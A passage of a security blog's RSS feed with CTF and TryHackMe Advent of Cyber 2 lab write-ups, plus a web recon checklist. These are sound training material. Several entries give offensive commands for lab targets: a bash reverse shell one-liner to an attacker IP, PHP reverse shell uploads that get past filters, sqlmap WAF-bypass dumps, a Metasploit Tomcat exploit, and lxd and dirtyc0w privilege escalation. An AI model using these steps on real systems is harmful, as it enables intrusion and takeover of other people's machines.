██  ██████ ██   ██ ███████ ██   ██&#xA;https://github.com/liamg/gitjacker                         v0.0.2&#xA;&#xA;Target:     http://web-0/env/&#xA;Local Git:  2.29.2&#xA;Output Dir: /tmp/gitjacker299979449&#xA;&#xA;Gitjacking in progress...ls&#xA;Operation complete.&#xA;&#xA;Status:            Success&#xA;Retrieved Objects: 207&#xA;Missing Objects:   0&#xA;Pack Data Listed:  true&#xA;Repository:        &#xA;Remotes:           n/a&#xA;Branches:          n/a&#xA;User Info:         &#xA;  Name:         wactf&#xA;  Email:        wactf@capture.tf/&#xA;&#xA;You can find the retrieved repository data in /tmp/gitjacker299979449&#xA;&#xA;Git Analysis&#xA;&#xA;Within .git all that is visible is foo.txt&#xA;&#xA;Gather list of commits via: git shortlog | grep flag&#xA;&#x9;from this we see there was a flag create commit&#xA;&#xA;git log --grep=flag gives us the commit hash for when the flag was created&#xA;&#xA;git checkout b97c2a177567ae7d55eb12c3b65a6b74b1198d0a&#xA;&#xA;we now see flag.txt - yay!&#xA;&#xA;WACTF{isntgitgreat}&#xA;&#xA;1.2. Bird-House (100pts) &#xA;&#xA;IDOR challange&#xA;&#xA;create account&#xA;go to gallery&#xA;click on first image&#xA;notice URI: http://web-1-2/images/view/2&#xA;de-increment the image no. : http://web-1-2/images/view/1&#xA;Get flag!&#xA;&#xA;2. Hardcoded secrets (150pts) &#xA;&#xA;  You have managed to obtain part of the source of this nodejs app. It contains secrets! Use the secrets to to obtain the flag!&#xA;    Filedrop: web-2.7z&#xA;  Service: http://web-2:3000 &#xA;&#xA;function auth (key, fn) {&#xA;  if (&#39;SuperSecurePasswordforuseradmin&#39; === key)&#xA;    fn(null, { id: &#39;1&#39;, name: &#39;superuser&#39;})&#xA;  else&#xA;    fn(null, null)&#xA;}&#xA;&#xA;app.get(&#39;/flag&#39;, function(req,res) {&#xA; res.sendFile(_dirname+&#34;/views/flag.html&#34;);&#xA;});&#xA;&#xA;Go to web page&#xA;For the loginprompt, enter SuperSecurePasswordforuseradmin as the username; leave pw empty&#xA;sucessfull login!&#xA;browse to /flag to get our flag&#xA;&#xA;Exploit&#xA;&#xA;0. Strings2Flag&#xA;&#xA;cat encryptor -- we find our flag.&#xA;&#xA;1. Springfield Nuclear Power Station (100pts) &#xA;&#xA;open the application&#xA;try some creds out, we can&#39;t login&#xA;notice that it says &#34;debug mode is disabled&#34;&#xA;try running the application with --debug flag. Debug mode enabled!&#xA;try logging in again with any creds - still denied. &#xA;strings exploit-1&#xA;Notice that login is done via homer user under debug mode.&#xA;Run program in debug mode, username=homer, password=empty&#xA;We&#39;re logged in as homer!&#xA;10. Press &#39;6&#39; to get flag. ]]&gt;</description>
      <content:encoded><![CDATA[<p>🔗 <a href="https://capture.tf/" rel="nofollow">https://capture.tf/</a></p>

<p>Another year of a fantastic WA based CTF made by the community for the community. As always, a lot was enjoyed, keyboards were mashed, and much was learnt. Thanks to all the organisers for making this so special. Only regret is not being able to play in person at Perth 😢.</p>



<h2 id="forensics" id="forensics">Forensics</h2>

<h3 id="0-is-serverless-is-secure-20pts" id="0-is-serverless-is-secure-20pts">0. Is serverless, is secure (20pts)</h3>

<blockquote><p>To impress his agile DevOps friends, Batman has moved his BatCave computer to a “serverless”. Oh no, someone has managed to write to his intel folders and retrieve all of his intel. Can you work out which user is the naughty agent? Luckily he&#39;s got logs enabled and has been identifying his BatCave computer on all requests, so you can rule out BatCaveSuperComputer as the flag.</p></blockquote>

<p>We are provided with a CloudWatch log file supposedly for the serverless application where data exfil occured (json).</p>

<p>Since I am not too familiar with cloudwatch logs, I devised a quick and dirty way to find the flag:</p>

<pre><code class="language-bash">jq &#34;.events[]&#34;  forensics-0.json | jq .message | grep User-Agent | grep -v &#34;BatCaveSuperComputer&#34; | grep WACTF
</code></pre>

<p>The above searches through the json file within “message” that excludes all UserAgent=BatCaveSuperComputer. Turns out we can find the flag this way 😊.</p>

<p>// TODO: learn how to filter or structure these logs. Perhaps uploading them in AWS and using the CloudWatch search UI would allow to make a fancy query.</p>

<h2 id="crypto" id="crypto">Crypto</h2>

<h3 id="0-it-s-always-the-same-20pts" id="0-it-s-always-the-same-20pts">0. It&#39;s always the same (20pts)</h3>

<blockquote><p>Crypto is quite tricky, and this is hard for a lvl 0 flag, but such is life. The flag was XORed with the value 0xab, then converted to hex. Can you get the flag out of the ciphertext?</p>

<p>Ciphertext: fceae8ffedd0fce3f2f4e2f8f4e2fff4eae7fceaf2f8f4f3e4f9d6</p></blockquote>

<p>The ciphertext was produced via plaintext –&gt; XOR(0xab) –&gt; hex. Let&#39;s try to reverse this using CyberChef:</p>

<p>Input = <code>fceae8ffedd0fce3f2f4e2f8f4e2fff4eae7fceaf2f8f4f3e4f9d6</code></p>

<p>Recipe:</p>
<ol><li>From Hex</li>
<li>XOR with HEX key <code>ab</code></li></ol>

<p>Output = <code>WACTF{WHY_IS_IT_ALWAYS_XOR}</code></p>

<h3 id="1-it-s-always-the-same-again-100pts" id="1-it-s-always-the-same-again-100pts">1. It&#39;s always the same... again (100pts)</h3>

<blockquote><p>The flag was XORed with an unknown value, then converted to hex. Can you get the flag out of the ciphertext</p>

<p>Ciphertext: 16000215073a0e0f041e031815041e08121e0f0e151e001e0d001306041e1204001302091e12110002043c</p></blockquote>

<p>Similar to the previous example but we don&#39;t know the XOR key. CyberChef has a XOR Brute Force function we can use!</p>

<p>Input = <code>16000215073a0e0f041e031815041e08121e0f0e151e001e0d001306041e1204001302091e12110002043c</code></p>

<p>Recipe:</p>
<ol><li>From Hex</li>
<li>XOR Brute Force w/ Crib=“WACTF”</li></ol>

<p>Output = <code>Key = 41: WACTF{ONE_BYTE_IS_NOT_A_LARGE_SEARCH_SPACE}</code></p>

<h2 id="web" id="web">Web</h2>

<h3 id="0-git-good-50pts" id="0-git-good-50pts">0. Git Good (50pts)</h3>

<blockquote><p>You really have to be good to git this flag. Note: A SMALL amount of directory bruteforcing is required for this challenge.</p>

<p>Service: <a href="http://web-0" rel="nofollow">http://web-0</a></p></blockquote>

<p>Search for hidden directories and git files:</p>

<pre><code class="language-bash">ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://web-0/FUZZ
</code></pre>

<p>Output:</p>

<pre><code>&lt;snip&gt;
env                     [Status: 301, Size: 225, Words: 14, Lines: 8]
&lt;snip&gt;
</code></pre>

<p><code>env</code> looks interesting. We&#39;d expect to see some interesting files in this directory potentially. Since the status is <code>403</code> we can&#39;t see a directory listing. Let&#39;s run <code>ffuf</code> again:</p>

<pre><code class="language-bash">ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://web-0/env/FUZZ
</code></pre>

<p>Output:</p>

<pre><code>.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2]
</code></pre>

<p>Bingo.</p>

<p>I&#39;ll use <code>gitjacker</code> to obtain the relevant git files: <code>gitjacker http://web-0/env/</code></p>

<pre><code class="language-bash"> ██████  ██ ████████   ██  █████   ██████ ██   ██ ███████ ██████  
██       ██    ██      ██ ██   ██ ██      ██  ██  ██      ██   ██ 
██   ███ ██    ██      ██ ███████ ██      █████   █████   ██████  
██    ██ ██    ██ ██   ██ ██   ██ ██      ██  ██  ██      ██   ██ 
 ██████  ██    ██  █████  ██   ██  ██████ ██   ██ ███████ ██   ██
https://github.com/liamg/gitjacker                         v0.0.2

Target:     http://web-0/env/
Local Git:  2.29.2
Output Dir: /tmp/gitjacker299979449

Gitjacking in progress...ls
Operation complete.

Status:            Success
Retrieved Objects: 207
Missing Objects:   0
Pack Data Listed:  true
Repository:        
Remotes:           n/a
Branches:          n/a
User Info:         
  - Name:         wactf
  - Email:        wactf@capture.tf/

You can find the retrieved repository data in /tmp/gitjacker299979449

</code></pre>

<h4 id="git-analysis" id="git-analysis">Git Analysis</h4>
<ul><li><p>Within <code>.git</code> all that is visible is <code>foo.txt</code></p></li>

<li><p>Gather list of commits via: <code>git shortlog | grep flag</code></p>
<ul><li>from this we see there was a flag create commit</li></ul></li>

<li><p><code>git log --grep=flag</code> gives us the commit hash for when the flag was created</p></li>

<li><p><code>git checkout b97c2a177567ae7d55eb12c3b65a6b74b1198d0a</code></p></li>

<li><p>we now see <code>flag.txt</code> – yay!</p></li></ul>

<pre><code>WACTF{isnt_git_great}
</code></pre>

<h3 id="1-2-bird-house-100pts" id="1-2-bird-house-100pts">1.2. Bird-House (100pts)</h3>

<p>IDOR challange</p>
<ol><li>create account</li>
<li>go to gallery</li>
<li>click on first image</li>
<li>notice URI: <code>http://web-1-2/images/view/2</code></li>
<li>de-increment the image no. : <code>http://web-1-2/images/view/1</code></li>
<li>Get flag!</li></ol>

<h3 id="2-hardcoded-secrets-150pts" id="2-hardcoded-secrets-150pts">2. Hardcoded secrets (150pts)</h3>

<blockquote><p>You have managed to obtain part of the source of this nodejs app. It contains secrets! Use the secrets to to obtain the flag!</p>

<p>Filedrop: web-2.7z
Service: <a href="http://web-2:3000" rel="nofollow">http://web-2:3000</a></p></blockquote>

<pre><code class="language-js">function auth (key, fn) {
  if (&#39;SuperSecurePasswordforuseradmin&#39; === key)
    fn(null, { id: &#39;1&#39;, name: &#39;superuser&#39;})
  else
    fn(null, null)
}

</code></pre>

<pre><code class="language-js">app.get(&#39;/flag&#39;, function(req,res) {
 res.sendFile(__dirname+&#34;/views/flag.html&#34;);
});
</code></pre>
<ol><li>Go to web page</li>
<li>For the loginprompt, enter <code>SuperSecurePasswordforuseradmin</code> as the username; leave pw empty</li>
<li>sucessfull login!</li>
<li>browse to <code>/flag</code> to get our flag</li></ol>

<h2 id="exploit" id="exploit">Exploit</h2>

<h3 id="0-strings2flag" id="0-strings2flag">0. Strings2Flag</h3>

<p><code>cat encryptor</code> — we find our flag.</p>

<h3 id="1-springfield-nuclear-power-station-100pts" id="1-springfield-nuclear-power-station-100pts">1. Springfield Nuclear Power Station (100pts)</h3>
<ol><li>open the application</li>
<li>try some creds out, we can&#39;t login</li>
<li>notice that it says “debug mode is disabled”</li>
<li>try running the application with <code>--debug</code> flag. Debug mode enabled!</li>
<li>try logging in again with any creds – still denied.</li>
<li><code>strings exploit-1</code></li>
<li>Notice that login is done via <code>homer</code> user under debug mode.</li>
<li>Run program in debug mode, username=homer, password=</li>
<li>We&#39;re logged in as homer!</li>
<li>Press &#39;6&#39; to get flag.</li></ol>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/wactf-2020-0x04-writeups</guid>
      <pubDate>Fri, 25 Dec 2020 03:55:48 +0000</pubDate>
    </item>
    <item>
      <title>Web Recon Checklist 🔍</title>
      <link>https://drsh0.writeas.com/web-recon-checklist?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[source: https://pentesterlab.com/badges/recon - no spoilers!&#xA;!--more--&#xA;| http/s                                                                                            | dns                                                               | git                                                                   |&#xA;|-------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------|---------------------------------------------------------------------------|&#xA;| robots.txt                                                                                            | check TXT records via dig -t txt {{address}}                        | search for public repos, orgs AND their users                             |&#xA;| security.txt                                                                                          | zone transfer via dig axfr @{{nameserver}} {{domain}}               | Show emails used within repo: git shortlog --summary --numbered --email |&#xA;| check directory list                                                                                  | check for internal zones as well via zone transfer e.g. int         | tree overview git log --graph --oneline --decorate --all                |&#xA;| fuzz common directories                                                                               | check BIND version using dig @{{nameserver}} version.bind txt chaos | view all commits git log --pretty=oneline                               |&#xA;| curl -H &#34;Host: {{random}}&#34;                                                                            |                                                                       | changed files git log --name-status                                     |&#xA;| vhost enumeration via Host headers                                                                    |                                                                       |                                                                           |&#xA;| default HTTP and TLS vhost e.g. visit website&#39;s IP address                                            |                                                                       |                                                                           |&#xA;| view TLS certs for alt DNS names                                                                      |                                                                       |                                                                           |&#xA;| inspect headers                                                                                       |                                                                       |                                                                           |&#xA;| continously hit load balancers to see other hosts e.g while true; do curl {{loadbalanderURI}}; done |                                                                       |                                                                           |&#xA;&#xA;S3 Buckets&#xA;nslookup the website to find out details about where it&#39;s hosted and potentially get the S3 URI as well. &#xA;Otherwise, try and check http info to see if the aws region and az can be found&#xA;use aws s3 cp s3://$bucketnameOrURI/file $localpath to see if files can be obtained that are otherwise not readable via cloudfront. ]]&gt;</description>
      <content:encoded><![CDATA[<p>source: <a href="https://pentesterlab.com/badges/recon" rel="nofollow">https://pentesterlab.com/badges/recon</a> – no spoilers!

| <strong>http/s</strong>                                                                                            | <strong>dns</strong>                                                               | <strong>git</strong>                                                                   |
|———————————————————————————————————————————————————–|———————————————————————————————————–|—————————————————————————————————————–|
| robots.txt                                                                                            | check TXT records via <code>dig -t txt {{address}}</code>                        | search for public repos, orgs AND their users                             |
| security.txt                                                                                          | zone transfer via <code>dig axfr @{{nameserver}} {{domain}}</code>               | Show emails used within repo: <code>git shortlog --summary --numbered --email</code> |
| check directory list                                                                                  | check for internal zones as well via zone transfer e.g. <code>int</code>         | tree overview <code>git log --graph --oneline --decorate --all</code>                |
| fuzz common directories                                                                               | check BIND version using <code>dig @{{nameserver}} version.bind txt chaos</code> | view all commits <code>git log --pretty=oneline</code>                               |
| curl -H “Host: {{random}}”                                                                            |                                                                       | changed files <code>git log --name-status</code>                                     |
| vhost enumeration via Host headers                                                                    |                                                                       |                                                                           |
| default HTTP and TLS vhost e.g. visit website&#39;s IP address                                            |                                                                       |                                                                           |
| view TLS certs for alt DNS names                                                                      |                                                                       |                                                                           |
| inspect headers                                                                                       |                                                                       |                                                                           |
| continously hit load balancers to see other hosts e.g <code>while true; do curl {{loadbalanderURI}}; done</code> |                                                                       |                                                                           |</p>

<h3 id="s3-buckets" id="s3-buckets">S3 Buckets</h3>
<ul><li>nslookup the website to find out details about where it&#39;s hosted and potentially get the S3 URI as well.</li>
<li>Otherwise, try and check http info to see if the aws region and az can be found</li>
<li>use <code>aws s3 cp s3://$bucketnameOrURI/file $localpath</code> to see if files can be obtained that are otherwise not readable via cloudfront.</li></ul>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/web-recon-checklist</guid>
      <pubDate>Thu, 24 Dec 2020 08:04:20 +0000</pubDate>
    </item>
    <item>
      <title>TryHackMe - Advent of Cyber 2</title>
      <link>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[  Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.&#xA;&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;Here are my writeups! Happy Holidays folks 🎄&#xA;&#xA;!--more--&#xA;&#xA;## Day 1: #Web #Cookies A Christmas Crisis&#xA;&#xA;modify basic auth cookie to bypass authentication for user santa.&#xA;cookie format is in hexadecimal which is presented as json when decoded.&#xA;&#xA;## Day 2: #Web #RCE The Elf Strikes Back&#xA;&#xA;login using provided ID via GET parameter.&#xA;set up a simple php reverse shell&#xA;bypass upload filter by adding .jpg before true extension.&#xA;set up ncat listener: rlwrap ncat -lvnp $PORT &#xA;visit upload directory and open uploaded php reverse shell.&#xA;get www-data shell and get flag.&#xA;&#xA;## Day 3: #Web #Authentication Christmas Chaos &#xA;&#xA;attempt login and capture login URI.&#xA;utilise burp cluster bomb with 2 payload sets for: username and password.&#xA;run attack and compare response length to find correct credentials.&#xA;login using these credentials for flag&#xA;&#xA;## Day 4: #Web #Fuzzing Santa&#39;s Watching&#xA;&#xA;scan for common directories --  find /api&#xA;api file site-log.php used for querying site logs by date&#xA;fuzz probable dates using wfuzz: &#xA;wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ&#xA;&#xA;## Day 5: #Web #SQLi Someone stole Santa&#39;s gift list! &#xA;&#xA;bypass login using basic SQLi payload&#xA;use info provided to launch sqlmap against the search parameter.&#xA;burp -  capture request -  send to repeater -  save request.&#xA;sqlmap -r $savedrequest --tamper=space2comment --dump-all -dbms sqlite.&#xA;    space2comment is a WAF bypass method. This can be identified via --identify-waf.&#xA;    other WAF bypasses are available where needed.&#xA;use db dumps to answer all questions.&#xA;&#xA;## Day 6: #Web #XSS Be careful with what you wish on a Christmas night &#xA;&#xA;web app is vulnerable to both reflected and stored XSS.&#xA;OWASP ZAP can be used for automated scanning.&#xA;The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying a tags or by doing something like location.replace).&#xA;&#xA;## Day 7: #Networking #Wireshark The Grinch Really Did Steal Christmas &#xA;&#xA;We&#39;re given 3 pcaps that need to be analysed.&#xA;&#xA;pcap1&#xA;&#xA;find icmp traffic - type icmp in filter bar &#xA;find all HTTP GET requests - http.request.method == GET&#xA;find web pages visited (HTTP) by specific host - ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET&#xA;&#xA;pcap 2&#xA;&#xA;find plaintext password in ftp traffic - ftp.request.command==PASS&#xA;find encrypted protocol used - statistics   protocol hierarchy (from this we see SSH which is an encrypted protocol)&#xA;&#xA;pcap 3&#xA;&#xA;recover files sent in the wire - file   export objects   http&#xA;&#xA;## Day 8: #Networking #nmap #enumeration What&#39;s Under the Christmas Tree? &#xA;&#xA;A quick recap of nmap:&#xA;&#xA;-sT - TCP scan&#xA;-sS - SYN scan - default&#xA;-A - aggressive scan (includes OS, version, script and traceroute scans)&#xA;--script vuln - scan for common vulnerabilities on open ports&#xA;    additional scripts: enip-info, rdp-ntlm-info, http-enum&#xA;    tip: you can use ` as a wildcard when using --script`.&#xA;&#xA;## Day 9: #Networking #ftp Anyone can be Santa! &#xA;&#xA;find anonymous ftp directories using nmap $IP -sV --script=ftp-anon&#xA;ftp in and retrieve backup.sh&#xA;set up reverse shell on local host: rlwrap ncat -lnvp 4242&#xA;upload backup script back to the ftp server with an added bash reverse shell:&#xA;sh -i   &amp; /dev/udp/$THMIP/4242 0  &amp;1&#xA;we should get a root shell on remote host this way. &#xA;&#xA;## Day 10: #Networking #smb Don&#39;t be sElfish!&#xA;&#xA;enum4linux -U $IP - enumerate users on SMB server&#xA;enum4linux -S $IP - enumerate shares on SMB server&#xA;smbclient //$IP/$ShareName - connect to SMB share&#xA;&#xA;## Day 11:  #Networking #privesc The Rogue Gnome &#xA;&#xA;we&#39;re given details to log in to ssh as the cmatic user.&#xA;it appears to be a limited account without any sudo access, let&#39;s send over LinEnum.sh to automate enumeration for us. &#xA;on the target machine: nc -l -p 1337   /tmp/LinEnum.sh&#xA;on the attacking machine: nc -w 3 $machineIP 1337 &lt; LinEnum.sh&#xA;The above should send the file from our machine to the target machine via nc (timeout -w at 3 secs)&#xA;SUID enumeration reveals /bin/bash has SUID bit set&#xA;With /bin/bash -p we get a root shell. The -p tells  the shell to maintain the euid which in this case is 0 (root) due to SUID. &#xA;&#xA;## Day 12:  #Networking #initialaccess Ready, Set, Elf &#xA;&#xA;nmap (-sC -sV)&#xA;we see tomcat 9.0.17 being used&#xA;searching that in exploit-db we find possible code exec CVEs&#xA;&#xA;metasploit:&#xA;&#xA;msfconsole&#xA;search CVE-2019-0232&#xA;use exploit/windows/http/tomcatcgicmdlineargs&#xA;set lhost tun0&#xA;set rhost $remotehostIP&#xA;set URI $remotehostCGI&#xA;check&#xA;exploit&#xA;shell&#xA;the above gets us a user shell. Check privs with run post/windows/gather/winprivs&#xA;&#xA;## Day 13: #exploitation Coal for Christmas&#xA;&#xA;scan machine with nmap - notice telnet&#xA;connect to telnet and log in with creds displayed&#xA;Enumuration tips:&#xA;  cat /etc/release&#xA;  cat /etc/issue&#xA;Ubuntu 12.04 with kernel 3.2.0-23-generic - vulnerable to dirtyc0w.&#xA;Transfer dirtyc0w source code to target machine and compile&#xA;run and create a root privileged account!&#xA;&#xA;## Day 14: #osint  Where&#39;s Rudolph?&#xA;&#xA;https://scylla.sh/ - neat place to find dehashed passwords.&#xA;always check the entire post history of an account if possible.&#xA;&#xA;## Day 15 &amp; 16: #python&#xA;&#xA;!/usr/bin/env python3&#xA;TryHackMe Advent Calendar 2020 Day 16&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;import requests&#xA;&#xA;The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.&#xA;for loop to go over 1-100 key values, step by 2 to have odd numbers only&#xA;&#xA;for apikey in range(1,100,2):&#xA;    # print what api key value we are iterating&#xA;    print(f&#34;apikey {apikey}&#34;)&#xA;    # this is the api endoing we are sending requests to&#xA;    r = requests.get(f&#39;http://EDITMETHMIP:8000/api/{apikey}&#39;)&#xA;    # only print text out if there are no failures or protections in place&#xA;    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):&#xA;        print(r.text)&#xA;&#xA;## Day 19: #SSRF #web The Naughty or Nice List&#xA;&#xA;Observe that searches are proxied internally via http://list.hohoho:8080/search.php?name=.&#xA;Since an internal server is exposed, there are numerous things to do:&#xA;&#x9;visit root of the host exposed e.g. http://list.hohoho:8080 via the URI parameter.&#xA;&#x9;try different ports for enumeration. &#xA;&#x9;check for any app side blocking/filtering e.g. visiting localhost via the proxy. If blocked, consider using localtest.me which resolves to 127.0.0.1 e.g. proxy=http://list.hohoho.localtest.me&#xA;&#x9;this could lead to some sensitive exposure. &#xA;&#xA;## Day 17 &amp; 18: #reversing #assembly #dotnet ReverseELFneering  &amp; The Bits of Christmas &#xA;&#xA;Opening a binary with radare2 - r2 -d file&#xA;Analysing a binary - aa&#xA;List of functions - afl&#xA;Print disassembly function - pdf @function&#xA;Breakpoint - db reference&#xA;Run program until breakpoint - dc&#xA;View contents of memory address - px @memory address&#xA;Move to next instruction - ds&#xA;View %eax register - dr&#xA;Reload program - ood&#xA;&#xA;---&#xA;&#xA;For DotNet applications, ILSpy and Dotpeek are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication. &#xA;&#xA;## Day 20: #powershell PowershELlF to the rescue &#xA;&#xA;Some intro to powershell and navigating the file and directory system:&#xA;&#xA;Get-ChildItem -Path  -File/-Directory -Hidden -ErrorAction SilentlyContinue&#xA;The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors. &#xA;&#xA;Measure-Object&#xA;Can be piped to provide info on an object like words e.g. Get-Content file.txt | Measure-Object -Word&#xA;&#xA;(Get-Content -Path file.txt)[index]&#xA;Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character. &#xA;&#xA;*Select-String -Path ./Desktop -Pattern &#39;.txt&#39;*&#xA;Find all txt files within the desktop. Can also be used to search for strings within a file. &#xA;&#xA;## Day 21: #forensics #powershell Time for some ELForensics &#xA;&#xA;ADFS is a part of NTFS and can contain alternate data streams not visible to the user. &#xA;Calculate MD5: &#xA;Get-FileHash -Algorithm MD5 file&#xA;View streams: &#xA;Get-Item -Path file.exe -Stream &#xA;Launch the stream/s found: &#xA;wmic process call create $(Resolve-Path file.exe:streamname)&#xA;&#xA;# Day 22: #forensics Elf McEager becomes CyberElf &#xA;&#xA;Data decoding via https://gchq.github.io/CyberChef/&#xA;&#xA;# Day 23: #forensics The Grinch strikes again!&#xA;&#xA;malicious scheduled tasks may often be utilised by ransomware operators.&#xA;volume shadow copy service (VSS) creates &#34;snapshots&#34; of data. This can be interacted with using vssadmin&#xA;for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume. &#xA;&#xA;Day 24&#xA;&#xA;Find hidden web directories and php pages:&#xA;&#xA;gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt&#xA;gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php&#xA;Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to .jpg.php doesn&#39;t work. See network connections and notice filter.js. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.&#xA;rlwrap ncat -nlvp 1234&#xA;&#xA;Upgrade shell:&#xA;python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;&#xA;After finding the DB creds in the includes folder, connect to it using MySQL client. &#xA;$ msql -utron -p&#xA;$ show databases;&#xA;$ use tron;&#xA;$ show tables;&#xA;$ select * from users;&#xA;&#xA;We find the user flynn&#39;s hashed password which can be cracked via crackstation. &#xA;Using these credentials, SSH into localhost (or use su flynn).&#xA;The flyn user is in the lxd group, allowing us to interact with linux containers (lxc). &#xA;$ lxc image list # see if there are any images we can use&#xA;$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container&#xA;$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root&#xA;$ lxc start $CONTAINERNAME&#xA;$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell &#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<blockquote><p>Get started with Cyber Security in 25 Days – Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.</p></blockquote>

<p><a href="https://tryhackme.com/room/adventofcyber2" rel="nofollow">https://tryhackme.com/room/adventofcyber2</a></p>

<p>Here are my writeups! Happy Holidays folks 🎄</p>



<h2 id="day-1-web-cookies-a-christmas-crisis" id="day-1-web-cookies-a-christmas-crisis">Day 1: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Cookies" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Cookies</span></a> A Christmas Crisis</h2>
<ul><li>modify basic auth cookie to bypass authentication for user <code>santa</code>.</li>
<li>cookie format is in hexadecimal which is presented as json when decoded.</li></ul>

<h2 id="day-2-web-rce-the-elf-strikes-back" id="day-2-web-rce-the-elf-strikes-back">Day 2: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:RCE" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">RCE</span></a> The Elf Strikes Back</h2>
<ul><li>login using provided ID via GET parameter.</li>
<li>set up a simple php reverse shell</li>
<li>bypass upload filter by adding <code>.jpg</code> before true extension.</li>
<li>set up ncat listener: <code>rlwrap ncat -lvnp $PORT</code></li>
<li>visit upload directory and open uploaded php reverse shell.</li>
<li>get <code>www-data</code> shell and get flag.</li></ul>

<h2 id="day-3-web-authentication-christmas-chaos" id="day-3-web-authentication-christmas-chaos">Day 3: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Authentication" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Authentication</span></a> Christmas Chaos</h2>
<ul><li>attempt login and capture login URI.</li>
<li>utilise burp cluster bomb with 2 payload sets for: <code>username</code> and <code>password</code>.</li>
<li>run attack and compare response length to find correct credentials.</li>
<li>login using these credentials for flag</li></ul>

<h2 id="day-4-web-fuzzing-santa-s-watching" id="day-4-web-fuzzing-santa-s-watching">Day 4: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Fuzzing" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Fuzzing</span></a> Santa&#39;s Watching</h2>
<ul><li>scan for common directories —&gt; find <code>/api</code></li>
<li>api file <code>site-log.php</code> used for querying site logs by date</li>
<li>fuzz probable dates using <code>wfuzz</code>:
<code>wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ</code></li></ul>

<h2 id="day-5-web-sqli-someone-stole-santa-s-gift-list" id="day-5-web-sqli-someone-stole-santa-s-gift-list">Day 5: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:SQLi" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">SQLi</span></a> Someone stole Santa&#39;s gift list!</h2>
<ul><li>bypass login using basic SQLi payload</li>
<li>use info provided to launch <code>sqlmap</code> against the search parameter.</li>
<li>burp –&gt; capture request –&gt; send to repeater –&gt; save request.</li>
<li><code>sqlmap -r $saved_request --tamper=space2comment --dump-all -dbms sqlite</code>.
<ul><li><code>space2comment</code> is a WAF bypass method. This can be identified via <code>--identify-waf</code>.</li>
<li>other WAF bypasses are available where needed.</li></ul></li>
<li>use db dumps to answer all questions.</li></ul>

<h2 id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night" id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night">Day 6: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:XSS" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">XSS</span></a> Be careful with what you wish on a Christmas night</h2>
<ul><li>web app is vulnerable to both reflected and stored XSS.</li>
<li>OWASP ZAP can be used for automated scanning.</li>
<li>The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying <code>&lt;a&gt;</code> tags or by doing something like <code>location.replace</code>).</li></ul>

<h2 id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas" id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas">Day 7: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:Wireshark" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Wireshark</span></a> The Grinch Really Did Steal Christmas</h2>

<p>We&#39;re given 3 pcaps that need to be analysed.</p>

<p>pcap1</p>
<ul><li>find icmp traffic – type <code>icmp</code> in filter bar</li>
<li>find all HTTP GET requests – <code>http.request.method == GET</code></li>
